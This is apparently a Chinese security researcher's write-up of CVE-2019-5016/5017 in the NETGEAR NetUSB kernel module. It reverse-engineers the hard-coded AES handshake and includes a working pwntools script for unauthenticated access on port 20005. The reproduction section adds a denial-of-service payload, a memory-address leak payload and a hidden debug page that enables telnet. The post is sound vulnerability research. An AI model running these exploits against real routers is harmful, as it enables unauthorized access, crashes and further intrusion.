CVE-2019-5016/5017 NETGEAR NetUSB未授权信息泄露漏洞

之前看到了两个NETGEAR的漏洞,感觉是之前未见过的,所以就分析了一下。因为之前遇到的路由器漏洞大部分都是基于提供http服务的应用层或是更底层的一些漏洞,包括xss、命令注入、绕过身份验证、缓冲区溢出等。而这个漏洞则是出现在一个内核模块NetUSB里面的,值得分析一下。

漏洞定位

文章里面提到的是在NETGEAR的R8000和R7900中都存在这个漏洞,这里就拿R8000来分析吧。

去官网看了一下,存在漏洞的固件版本竟然还是最新版R8000-V1.0.4.28_10.1.54.chk,这里是下载地址

下载下来后直接binwalk解压,可以得到一个正常的文件系统:

binwalk -Me R8000-V1.0.4.28_10.1.54.chk

漏洞存在于NetUSB.ko中,.ko是内核模块的后缀名,所以全局搜索该文件名,发现果然存在该文件:

1
2
$ find ./ -name "NetUSB.ko"
./lib/modules/2.6.36.4brcmarm+/kernel/drivers/usbprinter/NetUSB.ko

接下来就可以用IDA来分析了!

未授权访问漏洞

该漏洞可以再未授权的情况下实现访问,是怎么做到的呢?原来是该程序将加密用的密钥硬编码到了程序中,只要通过逆向分析就可得到加密密钥,然后就可以和该服务在没有授权的情况下进行正常的交互了。

当与远程的USB设备进行交互的时候,最开始需要一些握手操作,这些操作都是在run_init_sbus函数中实现的,该函数的完整代码太长,这里只贴出关键的部分。我们主要关注的是加解密以及数据的发送与接收操作

首先接收从客户端发送过来的2字节数据,这二字节数据相当于一个标志数据,建立连接时一般为:56 05

1
2
3
4
5
6
if ( ks_recv(fd, &v60, 2, 0) < 0 )
{
v9 = "INFO%04X: tcpConnector() receiving error!!!\n";
v10 = 7760;
goto LABEL_57;
}

接着把AES的密钥设置为硬编码的值,也既从v51开始的16字节数据A2353556541CFE44EC468248064DE66C,然后利用该密钥对v47开始的16字节数据0B7928FF6A76223C21A3B794084E1CAD进行解密。把得到的解密结果再次作为AES的密钥,并用其加密从客户端收到的16字节数据,然后把加密得到的16字节数据返回给客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  v51 = 0x563535A2;
v52 = 0x44FE1C54;
v53 = 0x488246EC;
v54 = 0x6CE64D06;

v47 = 0xFF28790B;
v48 = 0x3C22766A;
v49 = 0x94B7A321;
v50 = 0xAD1C4E08;

LABEL_64:
//这里设置了AES的密钥为硬编码的值
aes_set_key(&aeskey, &v51, 128);
//对另一个16字节数据解密
aes_decrypt(&aeskey, &v47, &v46);
//从客户端接收16字节数据
v30 = ks_recv(fd, &v44, 16, 0);
if ( v30 != 16 )
{
result = kc_printf("INFO%04X: get verifyData error ret:%d sizeof(verifyData)=%d\n", 7837, v30, 16);
goto LABEL_61;
}
//把解密出来的结果作为新的AES密钥
aes_set_key(&aeskey, &v46, 128);
//用新的密钥加密收到的16字节数据
aes_encrypt(&aeskey, &v44, &buffer);
//把加密后的结果发送给客户端
if ( ks_send(fd, &buffer, 16, 0) != 16 )
{
v9 = "INFO%04X: send cryptData error\n";
v10 = 7848;
goto LABEL_57;
}

路由器会生成16字节的随机数据,并把该数据作为挑战值发送给客户端,接收客户端计算的结果(其实客户端就是根据自己的密钥对这个随机数据进行加密),如果客户端的密钥和路由器上的一样,那么路由器对客户端计算结果进行解密,得到的应该和生成的随机数一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  //生成16字节随机数据
get_random_bytes(&v40, 4);
get_random_bytes(&v41, 4);
get_random_bytes(&v42, 4);
get_random_bytes(&v43, 4);
//发送生成的16字节数据给客户端,相当于一个挑战值,只有在客户端
//和服务端(路由器)具有相同的密钥时才能根据该挑战值得到正确的结果
if ( ks_send(fd, &v40, 16, 0) != 16 )
{
v9 = "INFO%04X: send randomData error\n";
v10 = 7864;
goto LABEL_57;
}
//接收客户端根据挑战值计算出来的结果
v12 = ks_recv(fd, &buffer, 16, 0);
if ( v12 != 16 )
{
v13 = "INFO%04X: get cryptData error ret:%d\n";
v14 = 7871;
v15 = v12;
LABEL_40:
result = kc_printf(v13, v14, v15);
goto LABEL_61;
}
//对收到的16字节数据解密,并比较解密的结果和最开始发送的16字节
//随机数据是否相等
aes_decrypt(&aeskey, &buffer, &v44);
if ( memcmp(&v44, &v40, 0x10u) )
{
v9 = "INFO%04X: randomData not match!\n";
v10 = 7879;
goto LABEL_57;
}

接着会接收4字节数据,该字段为客户端名称的长度busidlen,最长为0x3f,然后会接收busidlen长度的数据

1
2
3
4
//接收客户端名称长度
v15 = ks_recv(fd, &busidlen, 4, 0);
//接收客户端名称
v16 = ks_recv(fd, &busid, busidlen, 0);

经过上述过程后,路由器从客户端读取四个字节作为command option,并返回给客户端0x17,表示整个握手过程顺利完成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v58 = 0x17;
//接收4字节命令
v15 = ks_recv(fd, &v57, 4, 0);
if ( v15 != 4 )
{
v13 = "INFO%04X: Read command option error %d\n";
v14 = 7922;
goto LABEL_40;
}
//发送握手过程结束的标识
if ( ks_send(fd, &v58, 4, 0) != 4 )
{
v9 = "INFO%04X: send command option error\n";
v10 = 7930;
goto LABEL_57;
}

从上面的过程来看,我们不需要知道路由器的管理员密码是多少,但是通过这些硬编码的密钥,仍然可以和路由器完成握手操作,所以里在进行后续的操作时是不需要授权的!

信息泄露漏洞

从文章中给出的描述来看,该漏洞是在使用远端设备时,客户端会发送一些操作指令,操作指令的第二个字节为设备编号或者是在栈上可访问的共享设备的索引。通过设置合适的opcode以及设备索引,便可实现信息泄露。关于信息泄露,一共给出了两个CVE,其中CVE-2019-5016可以实现DoS以及内存泄露,CVE-2019-5017能够泄露部分内存地址。

CVE-2019-5016

该漏洞最基本的是能够实现DoS,只需要将命令的第二个字节(idx)设置为一个较大的值例如(0x8a),便可让路由器crash重启。主要是利用了NetUSB提供的操作命令中的SoftwareBus_reportConfigDescGot,该函数对应的命令opcode为0x2,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall SoftwareBus_processHostCommands(int result, int a2, unsigned __int8 *a3)
{
int v3; // r4

v3 = result;
switch ( a2 )
{
...
// here
case 2:
result = SoftwareBus_reportConfigDescGot(result, a3);
break;
...
}
}

那设置idx为非法值为什么会造成crash甚至是内存读取呢?跟进SoftwareBus_reportConfigDescGot函数进行分析,该函数的第一个参数是保存的是session信息的指针,第二个参数就是我们输入的4字节命令。

1
2
3
4
5
6
7
8
9
10
11
int __fastcall SoftwareBus_reportConfigDescGot(int a1, unsigned __int8 *a2)
{
...
v9 = *(_DWORD *)(result + 4 * command[1] + 0x2C);
if ( v9 )
{
v11 = *(_DWORD *)(v9 + 0x44);
v12 = getConfigDescriptor(*(_DWORD *)(v9 + 0x44), command[2], (unsigned __int8 *)&v20, 9, &v21);
v10 = v12;
...
}

从上面的部分代码中可以看到,command[1]就是输入的命令的第二个字节,也就是我们的索引,根据该索引在加上第一个参数的值算出来一个地址,然后把该地址处的值取出来放入v9,然后把v9+0x44这个地址处的四字节值作为参数传给getConfigDescriptor,接着跟进getConfigDescriptor

1
2
3
4
5
6
7
8
9
10
11
// v6就是传进来的第一个参数,v7的值设置为0
if ( *(_WORD *)(v6 + 0x120) != 0x955 || *(_WORD *)(v6 + 0x122) != 7 )
{
v11 = *(_DWORD *)(*(_DWORD *)(v6 + 0x1B4) + 4 * v7);
v10 = *(unsigned __int8 *)(v11 + 2) | (*(unsigned __int8 *)(v11 + 3) << 8);
}
...
// 这里有一个memcpy的操作,把信息拷贝到目标地址处
memcpy(v12, *(const void **)(*(_DWORD *)(v6 + 0x1B4) + 4 * v7), v10);
*a5 = 0;
return v5;

从上面的分析可以知道,这个过程有很多取地址处的值得操作,后面的这些地址直接受idx的影响。后面只要有任意一处地址指向了非法的内存,程序在访问非法内存的时候就会崩溃,而由于是内核模块的crash,路由器便会直接重启。

对于内存地址读取,这里就不进行分析了,因为这里面有大量的地址相对运算,不进行调试的情况下很难得知哪个地方存放着什么样的值。之前想着获取到路由器的shell,然后通过gdb调试,后来操作的时候才意识到这个是内核模块,是没办法直接用gdb调试的。

CVE-2019-5017

该漏洞和CVE-2019-5016在本质上没有太大的区别,都是在未授权访问的漏洞的基础上利用NetUSB.ko提供的各种操作命令来达到效果。该漏洞利用的是opcode=0xc这条命令,对应的函数为SoftwareBus_processSetDeviceMaster

向路由器发送类似'\x0c\x00'+'a'*0x10这样的数据后便可泄露出来几个内存地址了,后面有复现

漏洞复现

因为手里刚好有一款R7000的路由器,去官网上下载了一下固件,发现不论是最新版的固件还是之前版本的固件,关于NetUSB.ko的部分都几乎没有变化,而且都存在这个漏洞。(猜测其他Rxxx系列的路由器都存在这个问题)

本次复现采用的固件版本为:V1.0.9.12_1.2.23。之所以选择这个版本的固件,是因为之前研究的时候找到了获取该路由器shell的方式,以为能够通过上传的gdbserver配合gdb-multiarch来对NetUSB调试的,后来才发现调不了。

未授权访问

要与该模块进行交互,就需要知道该往哪个端口发送数据,从之前曝光出来的漏洞可以知道端口是20005,所以直接连一下这个端口,看是否能与其建立连接

由于pwntools用起来比较顺手,直接用它连了一下,发现果然能成功连接,但是没有任何的输出,尝试按照前面分析的未授权访问漏洞的流程发送数据包,最后成功实现了未授权访问

相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from Crypto.Cipher import AES
import binascii

r = lambda p:p.recv()
rl = lambda p:p.recvline
ru = lambda p,x:p.recvuntil(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
rn = lambda p,x:p.recvn(x)


def encrypt(key,plaintext):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(plaintext)

def decrypt(key,ciphertext):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(ciphertext)

def pwn():
context.log_level = 'debug'
key1 = 'A2353556541CFE44EC468248064DE66C'.decode('hex')
key2 = decrypt(key1,'0B7928FF6A76223C21A3B794084E1CAD'.decode('hex'))

p = remote('192.168.1.1',20005)

# step 1
s(p,'\x56\x05')
s(p,'\x11'*0x10)

# step 2
randomData = rn(p,0x20)[0x10:]
cryptData = encrypt(key2,randomData)
log.info('cryptData: '+(binascii.b2a_hex(cryptData)))
s(p,cryptData)

# step 3
busidlen = 0x10
busid = 'a'*busidlen
s(p,p32(busidlen)+busid)

# step 4
commad = p32(0x07)
s(p,commad)

if __name__ == '__main__':
pwn()

实现DoS

在上面的step 4之后直接发送触发漏洞的payload,可以看到路由器直接重启

payload='\x02\x81\x00\x00'

信息泄露

发送信息泄露的payload,发现确实泄露出来了几个地址

payload='\x0c\x00'+'a'*0x10

进入路由器的shell,查看内核模块对应的加载地址,可以看到泄露出来的第三个地址正好属于NetUSB的加载范围之内,由此确实可以计算出来NetUSB模块的加载基址

这里提一下获取shell的方式,在V1.0.9.12_1.2.23版本固件下访问http://192.168.1.1/DebugHiddenPage.htm 然后在里面点击打开telnet的开关便可打开telnet,算是官方为了调试方便埋的一个后门吧,不过在后面的版本中就找不到这个页面了

总结

本文对出现在路由器的内核模块NetUSB.ko中的两个漏洞进行了分析,包括由于硬编码导致的非授权访问漏洞以及由此引发的DoS和信息泄露,由于没法对该模块进行调试,导致没有对任意内存读取这个漏洞进行深入的分析。对于这两个漏洞,影响最大最直观的莫过于DoS了,直接连上局域网便可让路由器重启,而且很可能许多型号的路由器都存在该漏洞,因为他们的NetUSB.ko模块很可能没有变过(在测试过的R8000、R7000等路由器中NetUSB.ko的代码几乎一模一样)。

参考链接

https://sec-consult.com/en/blog/2015/05/kcodes-netusb-how-small-taiwanese/

https://talosintelligence.com/vulnerability_reports/TALOS-2019-0775

https://talosintelligence.com/vulnerability_reports/TALOS-2019-0776

https://kb.netgear.com/000061074/R6400-Firmware-Version-1-0-1-50